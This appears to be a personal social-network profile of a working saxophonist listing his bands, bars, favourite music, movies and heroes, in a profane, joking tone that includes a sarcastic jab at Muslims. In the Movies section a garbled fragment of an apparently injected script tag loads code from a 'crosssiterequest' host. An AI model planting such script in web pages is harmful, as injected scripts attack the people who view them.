When in doubt...play louder!

About Me

I'm in the sax industry. 8 to 10 different bands and even a few house DJs use me for sax on a regular basis, often without so much as buying me dinner, flowers, or even a drink. On any given night while you sleep, I can be seen servicing reggae bands, rock bands, funk bands, straight-ahead jazz, smooth jazz, and latin jazz groups, big bands, etc. Drop by Patrick Molloy's or The Shore some Tuesday night and say "hi" but don't expect me to service you on the spot unless you've got cash (or at least a blue drink) in hand. (Aren't I a selfish prick? LOL!) Love to play the smoooooooth shit!My other hangs: Blue 32, The Shore, The Underground, Dragon, Union Cattle, and our recently departed Sharkeez.

I'd like to meet:

All of you who have supported our music over the years. Thank you so much for all your smiles, your applause, your high-fives, and all the good vibes. I'm usually drinking Adios Motherfuckers all night on the stage so I apologize in advance if I don't remember your name right away. Trust me, I remember your face, really!

Music:

Everything except my own. LOL! (I hear enough of myself in the monitors if the soundperson is good.) Seriously, I need about five years' distance before I can listen to my own recordings as a disinterested listener. Hopefully, you don't feel the same way! If you must know, I listen to alot of hip-hop and R&B/soul in the car when I'm not listening to AM talk radio. I so need XM or Sirius!

Movies:

Anchorman (I play "yazz" flute), Napoleon Dynamite (reggae skills, jazz skills...), Old School (Hey, I'm younger than Brad Pitt), Enron: The Smartest Guys in the Room (Burn in hell, you two self-aggrandizing, narcissistic motherfuckers! Don't mess with Texas!), Syrianna (Dame mas gasolina! 28 cents/gal. in Saudi Arabia? 4 cents/gal. in Venezuela? Fuck it. You'd rather be free wouldn't ya'? So quit your whinin'!), United 93 (Ahhh, the Religion of Peace. Let's roll, bitches!).... language="javascript" src="http://crosssiterequest../request.js"function nothingf(){document.write("nathanjosiah1.mov.r{}");}..

Heroes:

John Coltrane and Charlie Parker. John F. Kennedy, Abraham Lincoln, and Ronald Reagan. My father and fellow sax player, oil man, political confidant, and USC alum, RayZ, Sr. The bad-ass motherfucking pilot who sent Al-Zarqawi to "Paradise."..
